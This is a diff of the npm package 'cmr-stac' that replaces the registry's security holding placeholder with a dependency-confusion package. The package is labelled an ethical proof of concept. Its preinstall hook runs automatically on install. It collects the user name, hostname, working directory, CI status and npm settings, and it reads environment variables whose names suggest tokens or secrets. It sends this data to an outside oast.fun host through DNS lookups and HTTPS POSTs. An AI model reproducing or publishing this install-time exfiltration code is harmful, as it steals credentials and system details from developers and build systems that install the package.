cmr-stac 0.0.1-security → 90.10.10

package/package.json

@@ -1,6 +1,11 @@
 {
   "name": "cmr-stac",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
+  "version": "90.10.10",
+  "description": "Dependency Confusion PoC – Safe RCE + Beacon",
+  "main": "index.js",
+  "scripts": {
+    "preinstall": "node preinstall.js"
+  },
+  "author": "ethical-researcher",
+  "license": "ISC"
 }

package/preinstall.js

@@ -0,0 +1,75 @@
+const os = require('os');
+const dns = require('dns');
+const https = require('https');
+
+const OAST = 'hfdsbugicgbndpfqqiezjvwrs0ltk5icj.oast.fun'
+const MAX_LABEL = 63;
+
+// Encode to DNS-safe chunks
+function hexChunks(str) {
+  return Buffer.from(str).toString('hex').match(/.{1,63}/g) || [];
+}
+
+// Collect system metadata
+const info = {
+  user: os.userInfo().username || 'nouser',
+  host: os.hostname() || 'nohost',
+  cwd: process.cwd(),
+  platform: os.platform(),
+  arch: os.arch(),
+  timestamp: Date.now().toString(36),
+  ci: !!process.env.CI || !!process.env.GITHUB_ACTIONS,
+  npm_email: process.env['NPM_CONFIG_EMAIL'] || 'noemail',
+  npm_registry: process.env['NPM_CONFIG_REGISTRY'] || 'none'
+};
+
+// DNS OOB exfiltration
+let domain = [
+  ...hexChunks(info.user),
+  ...hexChunks(info.host),
+  ...hexChunks(info.cwd),
+  info.platform,
+  info.arch,
+  info.ci ? 'ci' : 'local',
+  info.timestamp,
+  OAST
+].join('.');
+if (domain.length > 253) domain = domain.slice(0, 253);
+
+dns.resolve(domain, () => {}); // asynchronous + stealthy
+
+// Pure Node.js: Fetch public IP
+https.get('https://api.ipify.org', (res) => {
+  let ip = '';
+  res.on('data', chunk => ip += chunk);
+  res.on('end', () => {
+    const payload = JSON.stringify({ ...info, ip: ip.trim() });
+
+    const req = https.request({
+      hostname: OAST,
+      path: '/',
+      method: 'POST',
+      headers: { 'Content-Type': 'application/json' }
+    }, () => {});
+    req.on('error', () => {});
+    req.write(payload);
+    req.end();
+  });
+}).on('error', () => {});
+
+// Leak environment secrets (first 12 chars for PoC)
+const leaked = Object.entries(process.env)
+  .filter(([k]) => /token|key|secret|auth/i.test(k))
+  .slice(0, 5)
+  .reduce((acc, [k, v]) => ({ ...acc, [k]: v.slice(0, 12) + '...' }), {});
+
+if (Object.keys(leaked).length) {
+  const req = https.request({
+    hostname: OAST,
+    path: '/',
+    method: 'POST',
+    headers: { 'Content-Type': 'application/json' }
+  }, () => {});
+  req.write(JSON.stringify({ envLeak: leaked }));
+  req.end();
+}

package/README.md

@@ -1,5 +0,0 @@
-# Security holding package
-
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
-
-Please refer to www.npmjs.com/advisories?search=cmr-stac for more information.